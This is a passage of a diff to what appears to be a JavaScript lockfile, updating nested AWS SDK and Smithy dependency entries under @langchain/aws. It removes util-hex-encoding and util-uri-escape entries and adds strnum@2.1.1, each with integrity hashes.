"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
@@ -9791,8 +9565,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9803,12 +9575,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9821,14 +9593,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-aHb5cqXZocdzEkZ/CvhVjdw5l4r1aU/9iMEyoKzH4eXMowT6M0YjBpp7W/+XjkBnY8Xh0kVd55GKjnPKlCwinQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9839,38 +9611,28 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9881,38 +9643,28 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9923,8 +9675,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
